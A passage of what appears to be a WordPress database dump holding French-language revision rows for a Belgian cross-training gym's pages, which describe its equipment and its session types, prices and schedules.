'5-revision-v1', '', '', '2013-06-16 13:44:39', '2013-06-16 13:44:39', '', 5, 'http://www.crosstrainingcenter.be/?p=100', 0, 'revision', '', 0),
(101, 1, '2013-06-16 11:22:47', '2013-06-16 11:22:47', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:22:47', '2013-06-16 11:22:47', '', 22, 'http://www.crosstrainingcenter.be/?p=101', 0, 'revision', '', 0),
(105, 1, '2013-06-13 16:27:32', '2013-06-13 16:27:32', 'Nous vous  proposons chaque jour :\r\n\r\n- Team Training : entrainements en groupe avec un coach qualifié (8 à 12 pers.).\r\n\r\n- Duo Training : entrainements à deux personnes sous la supervision d’un coach.\r\n\r\n- Personal Training : un coach par personne, l’idéal pour progresser plus rapidement !\r\n- Coaching nutritionnel : rendez-vous avec une diététicienne pour améliorer votre santé.\r\n\r\n&amp;nbsp;\r\n\r\nPrix ?\r\n\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n\r\nHoraire ?\r\n\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-13 16:27:32', '2013-06-13 16:27:32', '', 11, 'http://www.crosstrainingcenter.be/?p=105', 0, 'revision', '', 0),
(106, 1, '2013-06-16 14:01:57', '2013-06-16 14:01:57', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n\r\nPrix ?\r\n\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n\r\nHoraire ?\r\n\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:01:57', '2013-06-16 14:01:57', '', 11, 'http://www.crosstrainingcenter.be/?p=106', 0, 'revision', '', 0),
(107, 1, '2013-06-16 14:14:58', '2013-06-16 14:14:58', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n&lt;table style=\&quot;border:0px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Team Training (réservation obligatoire)\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Package alimentation + sport\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Coaching nutritionnel\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/tr&gt;\r\n&lt;/table&gt; \r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:14:58', '2013-06-16 14:14:58', '', 11, 'http://www.crosstrainingcenter.be/?p=107', 0, 'revision', '', 0),
(108, 1, '2013-06-16 14:16:00', '2013-06-16 14:16:00', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n&lt;table style=\&quot;border:0px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Team Training (réservation obligatoire)\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 séance : 9.00€&lt;br&gt;\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)&lt;br&gt;\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)&lt;br&gt;\r\nAbonnement 1 mois illimité : 69.00€\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Package alimentation + sport\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Coaching nutritionnel\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/tr&gt;\r\n&lt;/table&gt; \r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:16:00', '2013-06-16 14:16:00', '', 11, 'http://www.crosstrainingcenter.be/?p=108', 0, 'revision', '', 0),
(109, 1, '2013-06-16 14:16:31', '2013-06-16 14:16:31', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n&lt;table style=\&quot;border:0px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Team Training (réservation obligatoire)\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 séance : 9.00€&lt;br&gt;\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)&lt;br&gt;\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)&lt;br&gt;\r\nAbonnement 1 mois illimité : 69.00€\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Package alimentation + sport\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Coaching nutritionnel\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/tr&gt;\r\n&lt;/table&gt; \r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:16:31', '2013-06-16 14:16:31', '', 11, 'http://www.crosstrainingcenter.be/?p=109', 0, 'revision', '', 0),
(111, 1, '2013-06-16 14:17:45', '2013-06-16 14:17:45', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n&lt;table style=\&quot;border:0px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Team Training (réservation obligatoire)\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 séance : 9.00€&lt;br&gt;\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)&lt;br&gt;\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)&lt;br&gt;\r\nAbonnement 1 mois illimité : 69.00€\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Package alimentation + sport\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Coaching nutritionnel\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€&lt;br&gt;\r\nSuivi 15,00€\r\n&lt;/tr&gt;\r\n&lt;/table&gt; \r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:17:45', '2013-06-16 14:17:45', '', 11, 'http://www.crosstrainingcenter.be/?p=111', 0, 'revision', '', 0),
(110, 1, '2013-06-16 14:17:07', '2013-06-16 14:17:07', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n&lt;table style=\&quot;border:0px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Team Training (réservation obligatoire)\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 séance : 9.00€&lt;br&gt;\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)&lt;br&gt;\r\n1 carte de 20 séances : 120.00€ 